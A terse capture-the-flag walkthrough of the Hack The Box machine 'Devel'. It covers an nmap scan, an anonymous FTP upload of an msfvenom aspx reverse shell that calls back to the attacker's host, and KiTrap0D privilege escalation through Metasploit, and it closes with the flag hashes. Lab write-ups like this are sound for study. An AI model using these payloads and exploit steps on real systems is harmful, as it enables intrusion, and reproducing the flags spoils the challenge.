Win: Devel

nmap -sC -sV -oA nmapscan 10.10.10.5 -vvvv -p-

FTP anonymous login allowed on the IIS server

upload a aspx reverse shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.2 LPORT=4444 -f aspx > devel.aspx

1- run FTP:
ftp 10.10.10.5
put devel.aspx

2- run listener

3- go to the website
on msfconsole
session -i 1

meterpreter > getuid
Server username: IIS APPPOOL\Web

Privilege Escalation

By default, the working directory is set to **c:\windows\system32\inetsrv** , which the IIS user does not have write permissions for. Navigating to **c:\windows\TEMP** is a good idea, as a large portion of Metasploit's Windows privilege escalation modules require a file to be written to the target during exploitation.

meterpreter > sysinfo
Computer   : DEVEL
OS   : Windows 7 (6.1 Build 7600).
Architecture   : x86
System Language : el_GR
Domain   : HTB
Logged On Users : 0
Meterpreter   : x86/windows

since x86 architecture --> we use the local_exploit_suggester module

go the background with
bg

use post/multi/recon/local_exploit_suggester

we get those exploits avaialble

msf5 post(multi/recon/local_exploit_suggester) > run

[*] 10.10.10.5 - Collecting local exploits for x86/windows...

[*] 10.10.10.5 - 29 exploit checks are being tried...
[+] 10.10.10.5 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
.
.
[+] 10.10.10.5 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.
This module will create a new session with SYSTEM privileges via the KiTrap0D exploit by Tavis Ormandy. If the session in use is already elevated then the exploit will not run. The module relies on kitrap0d.x86.dll, and is not supported on x64 editions of Windows.

[+] 10.10.10.5 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
.
.

we use the second one

background
msf5 exploit(windows/local/ms10_015_kitrap0d) > set lhost 10.10.14.2
lhost => 10.10.14.2
msf5 exploit(windows/local/ms10_015_kitrap0d) > set lport 12345
lport => 12345
msf5 exploit(windows/local/ms10_015_kitrap0d) > run

9ecdd6a3aedf24b41562fea70f4cb3e8
e621a0b5041708797c4fc4728bc72b4b